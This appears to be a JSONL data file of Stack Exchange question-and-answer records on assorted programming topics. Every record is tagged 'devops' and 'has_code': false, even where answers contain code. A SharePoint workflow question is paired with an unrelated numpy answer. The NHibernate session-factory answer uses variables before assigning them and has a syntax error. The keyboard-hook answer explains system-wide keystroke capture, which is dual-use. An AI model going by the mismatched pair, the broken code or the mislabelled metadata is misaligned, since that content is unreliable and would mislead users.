{"id": "hf_2971e72f2a31", "question": "<p>To do the equivalent of Python list comprehensions, I'm doing the following:</p>\n\n<pre><code>some_array.select{|x| x % 2 == 0 }.collect{|x| x * 3}\n</code></pre>\n\n<p>Is there a better way to do this...perhaps with one method call?</p>\n", "question_body": "", "answer": "If you really want to, you can create an Array#comprehend method like this:\n```\n```\nclass Array\n  def comprehend(&block)\n    return self if block.nil?\n    self.collect(&block).compact\n  end\nend\n\nsome_array = [1, 2, 3, 4, 5, 6]\nnew_array = some_array.comprehend {|x| x * 3 if x % 2 == 0}\nputs new_array\n```\n```\nPrints:\n```\n```\n6\n12\n18\n```\n```\nI would probably just do it the way you did though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.328479"}
{"id": "hf_d69e4a4ae375", "question": "<p>Both <code>static_cast</code> and <code>reinterpret_cast</code> seem to work fine for casting <code>void*</code> to another pointer type. Is there a good reason to favor one over the other?</p>\n", "question_body": "", "answer": "Use\n```\nstatic_cast\n```\n: it is the narrowest cast that exactly describes what conversion is made here.\nThere’s a misconception that using\n```\nreinterpret_cast\n```\nwould be a better match because it means “completely ignore type safety and just cast from A to B”.\nHowever, this doesn’t actually describe the effect of a\n```\nreinterpret_cast\n```\n. Rather,\n```\nreinterpret_cast\n```\nhas a number of meanings, for all of which holds that “the mapping performed by\n```\nreinterpret_cast\n```\nis implementation-defined.” [5.2.10.3]\nBut in the particular case of casting from\n```\nvoid*\n```\nto\n```\nT*\n```\nthe mapping is completely well-defined by the standard; namely, to assign a type to a typeless pointer without changing its address.\nThis is a reason to prefer\n```\nstatic_cast\n```\n.\nAdditionally, and arguably more important, is the fact that every use of\n```\nreinterpret_cast\n```\nis downright dangerous because it converts anything to anything else really (for pointers), while\n```\nstatic_cast\n```\nis much more restrictive, thus providing a better level of protection. This has already saved me from bugs where I accidentally tried to coerce one pointer type into another.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.389362"}
{"id": "hf_e942851e2f80", "question": "<p>I'm trying to find a way to get the open tasks in C#.  I've been searching on google and can only find how to get a list of the <strong>processes</strong>.  I want the only the tasks that would show up on the taskbar.</p>\n\n<p>Also, along with that, it would be cool if I could get the process the task is associated with.  And if possible get the thumbnail images that Vista uses for the ALT-TAB menu, like in this image:</p>\n\n<p><a href=\"https://i.stack.imgur.com/CcPQP.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CcPQP.png\" alt=\"alt-tab\"></a></p>\n\n<p>I assume that I will have to use pinvokes because it really doesn't look like there are any libraries to do this already.  Any ideas?</p>\n", "question_body": "", "answer": "From an API (Win32) perspective there is no such thing as Tasks (at least not the one that Windows Task Manager/Alt-Tab shows).\nThose \"Tasks\" are actually top level windows.\nSo in order to get a list of those, you need to\nenumerate the windows\n(here is the\nPInvoke\nfor it).\nThen look at the style of the windows to determine if they are actually top level windows.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.414546"}
{"id": "hf_ab1b6fd48d9d", "question": "<p>In ASP.NET (not MVC), what is the best approach to programmatically setting styles on an unordered list used for navigation so the appropriate menu item is styled as the active item if that page is being viewed?  </p>\n\n<p>This would most likely be used in conjunction with a MasterPage.</p>\n", "question_body": "", "answer": "The answer to your question depends a lot on how you have your list implemented {User control or not, etc}.  How I would do it, is implement the list to be generated by a user control.\nI'd have the UserControl tag each element with something like:\n```\n```\n<{...} class=\"GeneratedMenuItem\"> {...}\n```\n```\nAnd I'd have the appropriate styles in the Style Sheet; of course if it was in a user control then you might be able to use Themes (but that depends on which version of ASP.net you are using.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.438642"}
{"id": "hf_c929dea4293e", "question": "<p>I want a workflow that, when an entry is created in List A, will generate one entry in List B for each entry in List C. Is this possible? If so, how?</p>\n", "question_body": "", "answer": "I propose:\n```\n```\nnumpy.resize(my_ar, (3,3)).transpose()\n```\n```\nYou can of course adapt the shape\n```\n(my_ar.shape[0],)*2\n```\nor whatever", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.474268"}
{"id": "hf_a0111153cd8a", "question": "<p>I have a server behind a firewall. It runs a web application (Java servlets under Apache Tomcat) and responds only to port 443 (HTTPS). There is no scripting code in the pages served - the forms use HTTP POST to receive the form, process the data (with appropriate input filtering) and then output an HTTP result page.</p>\n\n<p>I am currently using an appliance firewall, but it is 'hardware-flakey'. I have been looking at upgrading to a more 'industrial strength' solution, but the vendor is quite insistant that I purchase a subscription to their \"deep packet inspection\" software. He claims that even web servers need this kind of protection.</p>\n\n<p>I am not convinced, but do not have the security background to be certain. The firewall would sit between the \"world\" and my server, and use \"port forwarding\" to allow only ports 443 and 22 (for maintenance) to reach the server.</p>\n\n<p>So - do I really need this deep packet inspection, or not?</p>\n", "question_body": "", "answer": "Given that the only protocols that you're interested in (ssh and https) are \"negotiate encryption on connect\" there's little that a standard firewall will be able to inspect after that point. Once the SSL/SSH session is established the firewall will only see encrypted packets. Ask your vendor what their product examines in this context.\nAlternatively, it is possible that the device acts more like a proxy -- that it acts as the server-side end-point for the connection before relaying on to your real server -- in which case it is possible that the product does something deeper, although this isn't the case if the firewall really is \"port forwarding\" as you say. Again, your vendor should be able to explain how their device operates.\nAlso you may want to ask what vulnerabilities/risks the inspection system is intended to protect against. For example: Does it look out for SQL injection? Is it targetted to a particular platform? (If your web server runs on a SPARC CPU, for example, then there's little point inspecting URLs for x86 shellcode).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.497668"}
{"id": "hf_e3c7d2658465", "question": "<p>I've always been using the cookie-based session store, and never even knew about <a href=\"http://api.rubyonrails.com/classes/ActionController/Cookies.html\" rel=\"nofollow noreferrer\">Cookies</a> until now. So is there any situation where I'd need the cookies hash?</p>\n", "question_body": "", "answer": "You shouldn't store anything you don't want the user to see or change in cookie. If you store a member ID then the user could easily change the value and pretend to be someone else. Cookies are also sent with every single request to your web server including image, JS and CSS requests. If you are storing lots of information in cookies, this could have an impact on speed.\nCookie-based sessions (in a general context, I can't say I know what Rails does) means your session variables are associated with a session ID which is randomly generated. This ID, and only the ID, is returned to the the user as a cookie. This allows you to associate the users request (because you have session ID cookies)  with the user's sessions. This is safer because it would be very difficult for someone to guess the ID of another user's session.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.546666"}
{"id": "hf_5b832914981d", "question": "<p>I'm looking for a good Java obfuscator.</p>\n\n<p>I've done initial research into the following Java obfuscators: proguard, yguard, retroguard, dasho, allatori, jshrink, smokescreen, jobfuscate, marvin, jbco, jode, javaguard, jarg, joga, cafebabe, donquixote, mwobfu, bbmug, zelix klassmaster, sandmark, jcloak, thicket, blufuscator, and java code protector.</p>\n\n<p>I tried proguard and it has a really nice GUI, seems really stable, and seems to be the most popular, but it seemed to not like some enumeration on a referenced jar file (not within the code I was trying to obfuscate) which was weird.  Yguard seems to require some interaction with ant, which I didn't know too much about.</p>\n\n<p>What is a good java obfuscator?  It doesn't need to be free, it just needs to work well and be easy to use.</p>\n", "question_body": "", "answer": "What is the issue with ProGuard ? (which is recommended both by\nthis question\nand\nthis one\n).\nThere is a section of\ntroubleshooting\nabout enumerator, but they seem to be taken into account\njust fine\n.\nHowever, Obfuscation breaks some attempts at reflection, even though modern obfuscators can detect and to some extend adjust usages of reflection in the code they're obfuscating.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.583830"}
{"id": "hf_65a4bfcfcb83", "question": "<p>Are there any good references for best practices for storing postal addresses in an RDBMS?  It seems there are lots of tradeoffs that can be made and lots of pros and cons to each to be evaluated -- surely this has been done time and time again?  Maybe someone has at least written done some lessons learned somewhere?</p>\n\n<p>Examples of the tradeoffs I am talking about are storing the zipcode as an integer vs a char field, should house number be stored as a separate field or part of address line 1, should suite/apartment/etc numbers be normalized or just stored as a chunk of text in address line 2, how do you handle zip +4 (separate fields or one big field, integer vs text)? etc. </p>\n\n<p>I'm primarily concerned with U.S. addresses at this point but I imagine there are some best practices in regards to preparing yourself for the eventuality of going global as well (e.g. naming fields appropriately like region instead of state or postal code instead of zip code, etc.</p>\n", "question_body": "", "answer": "You should certainly consult \"\nIs this a good way to model address information in a relational database\n\", but your question is not a direct duplicate of that.\nThere are surely a lot of pre-existing answers (check out the example data models at\nDatabaseAnswers\n, for example).  Many of the pre-existing answers are defective under some circumstances (not picking on DB Answers at all).\nOne major issue to consider is the scope of the addresses.  If your database must deal with international addresses, you have to be more flexible than if you only have to deal with addresses in one country.\nIn my view, it is\noften\n(which does not mean\nalways\n) sensible to both record the 'address label image' of the address and separately analyze the content.  This allows you to deal with differences between the placement of postal codes, for example, between different countries.  Sure, you can write an analyzer and a formatter that handle the eccentricities of different countries (for instance, US addresses have 2 or 3 lines; by contrast, British addresses can have considerably more; one address I write to periodically has 9 lines).  But it can be easier to have the humans do the analysis and formatting and let the DBMS just store the data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.609419"}
{"id": "hf_d55241bf1dbd", "question": "<p>Here's the goal: to replace all standalone ampersands with &amp;amp; but NOT replace those that are already part of an HTML entity such as &amp;nbsp;.</p>\n\n<p>I think I need a regular expression for PHP (preferably for preg_ functions) that will match only standalone ampersands. I just don't know how to do that with preg_replace.</p>\n", "question_body": "", "answer": "You could always run\n```\nhtml_entity_decode\n```\nbefore you run\n```\nhtmlentities\n```\n? Works unless you only want to do ampersands (and even then you can play with the charset parameters).\nMuch easier and faster than a regex.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.695931"}
{"id": "hf_51935378da4c", "question": "<p>What win32 calls can be used to detect key press events globally (not just for 1 window, I'd like to get a message EVERY time a key is pressed), from a windows service?</p>\n", "question_body": "", "answer": "You want to use Win32 Hooks.  In particular a keyboard hook.\nYou can read more about it here\nThe type of hook you want is WH_KEYBOARD and you can set it via the Win32 API SetWindowsHookEx.\nBasically windows will call a function in a dll that you create everytime a key is pressed in any application system wide.\nThe hook will call your function which will have this interface:\n```\n```\nLRESULT CALLBACK KeyboardProc(      \n    int code,\n    WPARAM wParam,\n    LPARAM lParam\n);\n```\n```\nMore information about this callback here\n.\nWith windows hooks you can not only track system wide events across all processes, but you can also filter them and stop them altogether.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.719661"}
{"id": "hf_486fab69748c", "question": "<p>Is it possible to create a final route that catches all .. and bounces the user to a 404 view in ASP.NET MVC?</p>\n\n<p>NOTE: I don't want to set this up in my IIS settings.</p>\n", "question_body": "", "answer": "Found the answer myself.\nRichard Dingwall\nhas an excellent post going through various strategies. I particularly like the FilterAttribute solution. I'm not a fan of throwing exceptions around willy nilly, so i'll see if i can improve on that :)\nFor the global.asax, just add this code as your last route to register:\n```\n```\nroutes.MapRoute(\n    \"404-PageNotFound\",\n    \"{*url}\",\n    new { controller = \"StaticContent\", action = \"PageNotFound\" }\n    );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.744177"}
{"id": "hf_f7b816c33ea8", "question": "<p>I'm sure there are different approaches to this problem, and I can think of some. But I'd like to hear other people's opinion on this. To be more specific I've built a widget that allows users to choose their location from a google maps map. This widget is displayed on demand and will probably be used every 1 out of 10 uses of the page where it's placed. The simplest way to load the dependency for this widget (google maps js api) is to place a script tag in the page. But this would make the browser request that script on every page load. I'm looking for a way to make the browser request that script only when the user requires for the widget to be displayed.</p>\n", "question_body": "", "answer": "you can load script dynamically by adding\n```\n<script src=\"...\">\n```\ntag to DOM tree.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.782007"}
{"id": "hf_a0f25b93d998", "question": "<p>Are there any known methods of finding peers without using a dedicated central server?</p>\n\n<p>ie: If I have peers which are disconnecting and reconnecting to the internet but getting a new IP address each time, and I want to connect to them without setting up a dedicated server to register with.</p>\n\n<p>I was thinking about using peers email address to send a manifest of connected peers periodically, with some sort of timecode, negating the need for a dedicated server.  This would be a fallback if none of the peers could be connected to after trying all the previously known peer addresses.  But existing models of finding peers would be preferable.</p>\n", "question_body": "", "answer": "Three ways, off the top of my head, though you're always going to need some central server to start the connection unless you went with option 3.\nCentral server that maintains known list of peers, with keep-alive.\nOne or more central servers that maintain some common resource peers can use to discover one another, but once connected no longer need the central server as long as the peer remains connected (something like BitTorrent); can chain peered connections as well.\nPort/IP scanning (\nstrongly not recommended\n).\nIn your example, you'd still have some kind of central server where the peers would be registered; the protocol is the only difference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.846178"}
{"id": "hf_16eed16708f8", "question": "<p>I need to write some methods for loading/saving some classes to and from a binary file. However I also want to be able to accept the binary data from other places, such as a binary string.</p>\n\n<p>In c++ I could do this by simply making my class methods use std::istream and std::ostream which could be a file, a stringstream, the console, whatever.</p>\n\n<p>Does python have a similar input/output class which can be made to represent almost any form of i/o, or at least files and memory?</p>\n", "question_body": "", "answer": "The Python way to do this is to accept an object that implements read() or write().  If you have a string, you can make this happen with\nStringIO\n:\n```\n```\nfrom cStringIO import StringIO\n\ns = \"My very long string I want to read like a file\"\nfile_like_string = StringIO(s)\ndata = file_like_string.read(10)\n```\n```\nRemember that Python uses duck-typing: you don't have to involve a common base class. So long as your object implements read(), it can be read like a file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.880338"}
{"id": "hf_9573c5569aa3", "question": "<p>I'm creating a list of the Slices in my Merb app, like this:</p>\n\n<blockquote>\n  <p>Merb::Slices.each_slice do |slice|</p>\n</blockquote>\n\n<p>I'd like to get the list of dependencies for each of this slice, any idea how to access it?</p>\n\n<p>I'm still reading merb code, solution might come soon ;)</p>\n", "question_body": "", "answer": "I haven't used slices yet, but from my understanding they are like a mini merb app in themself, therefore wouldn't each slice have a\n```\n/config/dependencies.rb\n```\n? Maybe this gets parsed into the program and is available somewhere.\nThere may be something\nhere in the docs\n.\nAlso, here are the methods available on the Merb constant (which you get things like the environment from). There's one called dependencies which returns an array (which is empty when I'm running with\n```\nmerb -i\n```\nin an app).\n```\n```\n>> Merb.methods.sort\n=> [\"<\", \"<=\", \"<=>\", \"==\", \"===\", \"=~\", \">\", \">=\", \"JSON\", \"__caller_info__\", \"__caller_lines__\", \"__id__\", \"__profile__\", \"__send__\", \"abstract_method\", \"adapter\", \"adapter=\", \"add_generators\", \"add_mime_type\", \"add_rakefiles\", \"ancestors\", \"args_and_options\", \"assigns\", \"at_exit\", \"at_exit_procs\", \"autoload\", \"autoload?\", \"available_accepts\", \"available_mime_types\", \"b64encode\", \"blank?\", \"bundled?\", \"class\", \"class_eval\", \"class_variable_defined?\", \"class_variables\", \"clone\", \"config\", \"const_defined?\", \"const_get\", \"const_missing\", \"const_set\", \"constants\", \"context\", \"debugger\", \"decode64\", \"decode_b\", \"deep_clone\", \"deferred_actions\", \"dependencies\", \"dependency\", \"describe\", \"dir_for\", \"disable\", \"disabled?\", \"disabled_components\", \"disabled_components=\", \"display\", \"dup\", \"encode64\", \"encoded_hash\", \"enforce!\", \"enum_for\", \"env\", \"env?\", \"environment\", \"environment=\", \"environment_info\", \"environment_info=\", \"eql?\", \"equal?\", \"exception\", \"exiting\", \"exiting=\", \"extend\", \"extract_options_from_args!\", \"fatal!\", \"find_const\", \"forking_environment?\", \"framework_root\", \"freeze\", \"frozen?\", \"full_const_get\", \"full_const_set\", \"generators\", \"given\", \"glob_for\", \"hash\", \"id\", \"in?\", \"include?\", \"included_modules\", \"inline\", \"inspect\", \"instance_eval\", \"instance_method\", \"instance_methods\", \"instance_of?\", \"instance_variable_defined?\", \"instance_variable_get\", \"instance_variable_set\", \"instance_variables\", \"is_a?\", \"is_haml?\", \"j\", \"jj\", \"kind_of?\", \"klass_hashes\", \"klass_hashes=\", \"load_config\", \"load_dependencies\", \"load_dependency\", \"load_paths\", \"load_paths=\", \"log_path\", \"log_stream\", \"logger\", \"make_module\", \"merb\", \"merge_env\", \"meta_class\", \"method\", \"method_defined?\", \"methods\", \"mime_transform_method\", \"module_eval\", \"modules\", \"name\", \"nil?\", \"object_id\", \"on_jruby?\", \"on_windows?\", \"options\", \"orm\", \"orm=\", \"orm_generator_scope\", \"present?\", \"print_colorized_backtrace\", \"private_class_method\", \"private_instance_methods\", \"private_method_defined?\", \"private_methods\", \"protected_instance_methods\", \"protected_method_defined?\", \"protected_methods\", \"public_class_method\", \"public_instance_methods\", \"public_method_defined?\", \"public_methods\", \"push_path\", \"quacks_like?\", \"rakefiles\", \"reload\", \"remove_mime_type\", \"remove_paths\", \"rescue_require\", \"reset_logger!\", \"respond_to?\", \"restart_environment\", \"root\", \"root=\", \"root_path\", \"send\", \"share_as\", \"share_examples_for\", \"shared_examples_for\", \"should\", \"should_not\", \"singleton_methods\", \"start\", \"start_environment\", \"started\", \"started=\", \"started?\", \"taguri\", \"taguri=\", \"taint\", \"tainted?\", \"template_engine\", \"template_engine=\", \"test_framework\", \"test_framework=\", \"test_framework_generator_scope\", \"testing?\", \"to_a\", \"to_enum\", \"to_json\", \"to_s\", \"to_yaml\", \"to_yaml_properties\", \"to_yaml_style\", \"track_dependency\", \"trap\", \"try_dup\", \"type\", \"untaint\", \"use_orm\", \"use_template_engine\", \"use_test\", \"use_testing_framework\", \"yaml_as\", \"yaml_tag_class_name\", \"yaml_tag_read_class\"]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.923553"}
{"id": "hf_435a7afbbea4", "question": "<p>I am working on a very large legacy code base. We are looking to introduce FindBugs into the development practice.</p>\n\n<p>I intend to have FindBugs run whenever the code is built by eclipse.</p>\n\n<p>I would like to be able to make the findbugs warnings appear as errors in the code much in this way you can change the severity level in eclipse </p>\n\n<p>Is it possible for eclipse to report the warnings it produces as errors?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "No, it isn't possible to have the FindBugs Eclipse plugin mark potential bugs as errors in the code.\nI did some checking and the\nFindBugs Maven plugin\ndoesn't provide an option to do this either (so no luck there too).\nI would suggest logging an RFE (request for enhancement) to the FindBugs Eclipse plugin developers.  Their bug tracking database is available\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.951135"}
{"id": "hf_5362c5746941", "question": "<p>I'm retrieving a gzipped web page via curl, but when I output the retrieved content to the browser I just get the raw gzipped data. How can I decode the data in PHP?</p>\n\n<p>One method I found was to write the content to a tmp file and then ...</p>\n\n<pre><code>$f = gzopen($filename,\"r\");\n$content = gzread($filename,250000);\ngzclose($f);\n</code></pre>\n\n<p>.... but man, there's got to be a better way.</p>\n\n<p>Edit: This isn't a file, but a gzipped html page returned by a web server.</p>\n", "question_body": "", "answer": "I use curl and:\n```\n```\ncurl_setopt($ch, CURLOPT_ENCODING , \"gzip\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.971271"}
{"id": "hf_c1513361808a", "question": "<p>I am using the functions strpos(string, string) in javascript. In Firefox, Opera and IE the page loads fine, but in Chrome I get the error: Uncaught ReferenceError: strpos is not defined. The page I am working on is <a href=\"http://seniorproject.korykirk.com/0xpi2.php\" rel=\"nofollow noreferrer\">http://seniorproject.korykirk.com/0xpi2.php</a></p>\n", "question_body": "", "answer": "Use\n```\nhaystack.indexOf(needle)\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.992300"}
{"id": "hf_c0dd7f53caff", "question": "<p>Does anyone have any idea why the following code sample fails with an XmlException \"Data at the root level is invalid. Line 1, position 1.\"</p>\n\n<pre><code>var body = \"&lt;?xml version=\"1.0\" encoding=\"utf-16\"?&gt;&lt;Report&gt; ......\"\nXmlDocument bodyDoc = new XmlDocument();            \nbodyDoc.LoadXml(body);\n</code></pre>\n", "question_body": "", "answer": "I figured it out.  Read the MSDN documentation and it says to use .Load instead of LoadXml when reading from strings.  Found out this works 100% of time.  Oddly enough using StringReader causes problems.  I think the main reason is that this is a Unicode encoded string and that could cause problems because StringReader is UTF-8 only.\n```\n```\nMemoryStream stream = new MemoryStream();\n            byte[] data = body.PayloadEncoding.GetBytes(body.Payload);\n            stream.Write(data, 0, data.Length);\n            stream.Seek(0, SeekOrigin.Begin);\n\n            XmlTextReader reader = new XmlTextReader(stream);\n\n            // MSDN reccomends we use Load instead of LoadXml when using in memory XML payloads\n            bodyDoc.Load(reader);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.029943"}
{"id": "hf_5524314dc353", "question": "<p>I have a situation where I have a bunch of SQL Update commands that all need to be executed.  I know that DataSets can do batch updates, but the only way I've been able to accomplish it is to load the whole table into a dataset first.  What if I want to only update a subset of the records in a table?</p>\n", "question_body": "", "answer": "EDITED: Based on your comment, I'd recommend using the Bulk Copy method to go to a staging table first. Then you can do a single update on your real table based on the staging table.\n=========\nOne way is to build the SQL Command yourself; however, I'd recommend reading about the SQL Injection possibilities to protect yourself. Depending on your situation and your platform there are other options.\nFor example if you are dealing with a lot of data, then you could do a bulk import into a holding table, which you would then issue a single update command off of. I've also had good success passing records in as XML (I found in my environment that I needed at least 50 rows to offset the cost of loading the DOM, and I knew that the scalability issues were not a factor in my case).\nSome other things I've seen was people package the updates into a binary field, for example one binary field for each column, then they have a function which unpacks the binary field. Again you will want to test with your environment.\nWith that said, have you verified that simply calling a single update command or stored procedure for each update you need is not sufficent? You might not even need to batch the commands up.\nJosh\nWatch out for Premature Optimization it can be killer!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.053052"}
{"id": "hf_25e403541dc7", "question": "<p>Can someone explain the main benefits of different types of references in C#?</p>\n\n<ul>\n<li>Weak references</li>\n<li>Soft references</li>\n<li>Phantom references</li>\n<li>Strong references.</li>\n</ul>\n\n<p>We have an application that is consuming a lot of memory and we are trying to determine if this is an area to focus on.</p>\n", "question_body": "", "answer": "Soft and phantom references come from Java, I believe.  A long weak reference (pass true to C#'s WeakReference constructor) might be considered similar to Java's PhantomReference.  If there is an analog to SoftReference in C#, I don't know what it is.\nWeak references do not extend the lifespan of an object, thus allowing it to be garbage collected once all strong references have gone out of scope.  They can be useful for holding on to large objects that are expensive to initialize, but should be available for garbage collection if they are not actively in use.\nWhether or not this will be useful in reducing the memory consumption of your application will depend completely on the specifics of the application.  For example, if you have a moderate number of cached objects hanging around that may or may not be reused in the future, weak references could help improve the memory consumption of the caches.  However, if the app is working with a very large number of small objects, weak references will make the problem worse since the reference objects will take up as much or more memory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.076367"}
{"id": "hf_a57eadfba413", "question": "<p>can anyone provide/refer a proper OO type helper class for managing a singleton of the SessionFactory and then also for managing Sessions?</p>\n", "question_body": "", "answer": "Sure, this is what I used when I was getting started with NHibernate:\nSession Factory\n```\n```\npublic class BaseDataAccess\n{\n\n  protected ISession m_session;\n\n  public BaseDataAccess()\n  {\n    m_session = NHibernateHttpModule.CurrentSession;\n  }\n\n  public static ISession OpenSession()\n  {\n    Configuration config;\n    ISessionFactory factory;\n    ISession session;\n    config = new Configuration();\n\n    if (config == null)\n    {\n      throw new ArgumentNullException(nameof(config));\n    }\n    if (factory == null)\n    {\n      throw new ArgumentNullException(nameof(factory);\n    }\n    if (session == null)\n    {\n      throw new ArgumentNullException(nameof(session));\n    }\n\n    config.AddAssembly(\"My.Assembly.Here\");\n    factory = config.BuildSessionFactory();\n    session = factory.OpenSession();\n    \n    return session;\n  }\n}\n```\n```\nLet me know if that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.100485"}
{"id": "hf_9ba5f61b42f2", "question": "<p>I'm using Emma in my ant build to perform coverage reporting.  For those that have used Emma, is there a way to get the build to fail if the line coverage (or any type of coverage stat) does not meet a particular threshold?  e.g. if the line coverage is not 100%</p>\n", "question_body": "", "answer": "Not out of the box.\nHowever, the\n```\nreport.metrics\n```\nproperty or attribute of\n```\n<report></report>\n```\ncan be set for\n```\nname, class, method, block\n```\n, and\n```\nline\n```\n.  See\nCoverage Metrics\nin the Emma reference.\nUse a plain-text report then a regexp filter to set up a fail condition.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.123930"}
{"id": "hf_6cc91d22b141", "question": "<p>Does anyone know what this means. Getting this in C# winforms applications:</p>\n\n<blockquote>\n  <p>Not a legal OleAut date</p>\n</blockquote>\n", "question_body": "", "answer": "It means you provided an invalid date somewhere, attempting to convert to or from an OLE Automation date outside the valid range 1-January-4713 BC to 31-December-9999 AD.  A possible cause is that it might have slipped through because OLE Automation Dates are represented as a double.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.145479"}
